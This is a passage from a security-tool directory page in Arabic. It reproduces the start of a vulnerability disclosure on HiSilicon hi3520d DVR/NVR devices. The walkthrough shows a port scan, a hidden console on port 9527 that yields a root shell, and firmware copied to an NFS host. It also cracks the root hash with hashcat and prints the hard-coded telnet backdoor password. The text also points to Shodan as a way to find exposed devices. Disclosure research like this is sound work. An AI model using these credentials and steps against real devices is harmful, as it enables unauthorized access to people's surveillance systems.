Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pwn-hisilicon-dvr — استغلال لإثبات المفهوم وكشف ثغرات لأجهزة HiSilicon hi3520d DVR/NVR. يوضح تنفيذ تعليمات برمجية عن بُعد (RCE) عبر واجهة الويب، وبيانات اعتماد الباب الخلفي، وتحليل تجاوز سعة المخزن المؤقت. | Kitploit
أدوات/GitHubGitHub/tothi/pwn-hisilicon-dvr
أمان الأنظمة المدمجةكسر كلمات المرورأمان إنترنت الأشياءتخطيط الشبكةتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبجمع المعلوماتالاختبار العشوائيتحليل الملفات الثنائية
3839020منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

استغلال لإثبات المفهوم وكشف ثغرات لأجهزة HiSilicon hi3520d DVR/NVR. يوضح تنفيذ تعليمات برمجية عن بُعد (RCE) عبر واجهة الويب، وبيانات اعتماد الباب الخلفي، وتحليل تجاوز سعة المخزن المؤقت.

عرض المستودع

= اختراق HiSilicon DVR Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] يكشف هذا التقرير عن ثغرات أمنية خطيرة (مع كود إثبات المفهوم (PoC)) في أجهزة DVR/NVR المبنية باستخدام شريحة HiSilicon hi3520d وما يشابهها من الأنظمة على الرقاقة (SoC). يؤدي استغلال هذه الثغرات إلى تنفيذ أوامر عن بُعد غير مصرح به (RCE) باستخدام واجهة الويب فقط، مما يسبب السيطرة الكاملة على الجهاز المستغل. نظرًا لعدم وجود برامج ثابتة مطورة، لا يُنصح باستخدام هذه الأجهزة. تم التواصل مع البائع قبل ديسمبر 2016، ولكن لا توجد أي استجابة حتى الآن. تاريخ إصدار هذا الكشف هو فبراير 2017.

== مقدمة

قبل بضع سنوات اشتريت جهاز DVR صينيًا رخيصًا على eBay. شعار الإقلاع للجهاز يقول: "SECULINK - Security Monitoring". وبصفتي مهتمًا بأمن تكنولوجيا المعلومات، قررت إلقاء نظرة أقرب على الجهاز لأرى مدى "أمان" خدمة المراقبة الأمنية هذه. عند البحث في الموضوع وجدت بعض المواد المثيرة للاهتمام، لكنني تعمقت أكثر، ووجدت مشكلات أكثر إثارة للاهتمام وأكثر خطورة (0-days) تتعلق بالجهاز.

دعونا نلقي نظرة على جلسة الاختراق الكاملة من البداية. (سيتم الإشارة إلى الإنجازات الجديدة الخاصة بنا كما سيتم الإشارة إلى القديمة المعروفة أيضًا).

== استكشاف الـ DVR

أولاً يجب أن نتعرف على واجهة المستخدم الرسمية، ثم نتعمق أكثر، وربما نحاول الحصول على البرنامج الثابت. فرص العثور على ثغرات تزداد مع البرنامج الثابت.

=== نظرة أولى على الـ DVR

جهاز الـ DVR المخصص للاختبار يحمل العلامة التجارية "Seculink".

image::./seculink_device.png[Seculink DVR device]

الواجهات المادية المتاحة:

  • منفذا USB (رسميًا للماوس للتحكم في واجهة المستخدم الرسومية)،
  • منفذ HDMI (و VGA) لتوصيل شاشة خارجية (لعرض واجهة المستخدم الرسومية وكاميرات المراقبة)،
  • 4 موصلات BNC لكاميرات CCTV التناظرية،
  • منفذ SATA داخلي لتوصيل التخزين لتسجيل بث الفيديو،
  • منفذ Ethernet للوصول إلى الشبكة.

واجهات المستخدم الرسمية:

  • وصول مباشر باستخدام HDMI (أو VGA) كمخرج وماوس/لوحة مفاتيح USB كمدخل لعرض/التحكم بالكاميرات/الإعداد الكامل،
  • وصول عبر الشبكة من خلال HTTP لعرض/التحكم بالكاميرات.

واجهة الإعداد القابلة للوصول المباشر محمية بمصادقة المستخدم (اسم المستخدم، كلمة المرور). المستخدم الفائق الافتراضي هو 'admin'، وكلمة المرور الافتراضية فارغة.

بعد تعيين كلمة مرور قوية، قد يشعر المستخدم بالأمان بأن عرض الكاميرا الخاص به لا يمكن للآخرين الوصول إليه. غالبًا ما يعيد الأشخاص توجيه منفذ الويب (tcp/80) لجهاز الـ DVR إلى جهة WAN من شبكتهم المحلية الآمنة من أجل الوصول إلى بث الـ DVR من الخارج (يمكننا التحقق من ذلك مثلًا عبر بحث مناسب في Shodan ;) ).

=== الحصول على البرنامج الثابت

قد تكون هناك طرق عديدة للحصول على البرنامج الثابت:

  • الحصول عليه من الجهاز بطريقة برمجية (باستخدام الواجهة الرسمية، أو استغلال ثغرة ما)،
  • الحصول عليه من الجهاز بطريقة مادية (JTAG، منفذ تسلسلي، إلخ)،
  • العثور عليه وتنزيله من الإنترنت (إذا كان متاحًا).

على الرغم من أن الطريقة الأخيرة (التنزيل) تعمل هنا وهي الأسهل، دعونا نجرب الطريقة الأولى، لأنها تعطي معلومات أخرى عن الجهاز أيضًا.

=== فحص الخدمات

لنقم بفحص شامل للمنافذ على الـ DVR. لاحظ أن فحص SYN (الافتراضي عند التشغيل كجذر) بطيء جدًا بسبب الحزم المسقطة، لكن فحص اتصال TCP الكامل ينتهي في بضع دقائق.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


التلخيص والاختبار اليدوي:

  • 23/tcp هو واجهة تسجيل دخول telnet محمية ببعض أسماء المستخدمين
  • كلمات المرور (وليست بيانات اعتماد التطبيق)
  • 80/tcp هو واجهة الويب المحمية ببيانات اعتماد التطبيق
  • 554/tcp هو خدمة rtsp؛ يمكن فتحه عبر عنوان rtsp شائع:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

لاحظ أن فتح بث rtsp يتطلب بيانات اعتماد أيضًا.

  • 9527/tcp يبدو أنه منفذ خدمة (سري؟) يتمتع ببعض الميزات المثيرة للاهتمام للغاية،
  • 34567/tcp و 34599/tcp يبدوان كمنفذي بيانات مرتبطين بتطبيق الـ DVR.

هنا يجب أن نذكر أن الجهاز ربما يعمل بنظام شبيه بـ Linux.

الاتصال بـ 9527/tcp (عبر netcat خام) يعرض وحدة تحكم التطبيق مع رسائل تسجيل ومطالبة تسجيل دخول. تسجيل الدخول بأي من بيانات اعتماد التطبيق المحددة يعمل. إصدار help بعد المطالبة يعطي وصفًا قصيرًا لأوامر وحدة التحكم. الأمر shell يبدو الأكثر إثارة للاهتمام. نعم، يعطي قشرة جذر (root shell) للأجهزة. ;)

لاحظ أن هذا بوضوح مشكلة أمنية خطيرة، لأن أي مستخدم تطبيق (منخفض الصلاحيات) يجب ألا يحصل على قشرة جذر على الجهاز تلقائيًا.

=== قشرة الجذر

استكشاف الجهاز في قشرة الجذر (مثلًا عبر dmesg) يوضح أن الـ DVR يعمل بنواة Linux (الإصدار 3.0.8)، ولديه معالج ARMv7، وطراز SoC هو hi3520d.

من قائمة العمليات الجارية (ps) يتضح أن تطبيق الـ DVR هو /var/Sofia، وهو يستمع على 34568/udp و 34569/udp أيضًا بالإضافة إلى منافذ tcp المذكورة أعلاه التي اكتشفها nmap (netstat -nlup).

من قائمة الأقراص المثبتة (أمر mount)، يتضح أن صورة البرنامج الثابت موجودة في أجهزة /dev/mtdblockX (حيث X=0,1,2,3,4,5).

البرنامج الثابت صغير وبالتالي محدود، لذا يجب أن نكون مبدعين إذا أردنا نسخ الملفات من/إلى الجهاز. لحسن الحظ، NFS مدعوم، لذا فإن إعداد خادم NFS على جهاز سطح المكتب لدينا و تركيبه من الـ DVR يحل المشكلة:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

الآن الحصول على البرنامج الثابت سهل ومباشر:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

يمكننا الحصول على الملفات (وليس فقط الصور الخام):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== واجهة telnet

للوصول إلى الجهاز من خلال واجهة telnet (المنفذ 23/tcp)، قد نحتاج إلى بعض بيانات اعتماد نظام التشغيل. بالنظر إلى /etc/passwd لدينا تجزئة كلمة المرور للمستخدم الجذر:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

لاحظ أنه لا يوجد مستخدم آخر غير root، كل شيء يعمل بصلاحيات كاملة. (لذا إذا تمكن شخص ما من اختراق الجهاز بطريقة ما، فلا يوجد حاجز، يحصل المهاجم على السيطرة الكاملة فورًا).

بافتراض كلمة مرور من ستة أحرف أبجدية رقمية (أحرف صغيرة)، يقوم hashcat بكسر تجزئة DES الضعيفة المذكورة أعلاه بسرعة:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

إذن مع المستخدم root وكلمة المرور xc3511 يمكن تسجيل الدخول عبر واجهة telnet على المنفذ 23/tcp. حساب الجذر الثابت هذا الذي يمكن الوصول إليه عبر واجهة telnet التي لا يمكن إغلاقها هو بوضوح باب خلفي.

هذه النتائج كانت متاحة تقريبًا من قبل الآخرين قبل بحثنا، ولكن ما يلي جديد تمامًا.

== هندسة عكسية للبرنامج الثابت

عند استكشاف البرنامج الثابت يتضح أن الملف الثنائي /var/Sofia هو التطبيق الرئيسي الذي ينفذ جميع الواجهات إلى جانب معالجة الفيديو وغيرها. لذا يبدو هذا الملف الثنائي الأكثر إثارة للاهتمام بالنسبة لنا.

تنزيل الأداة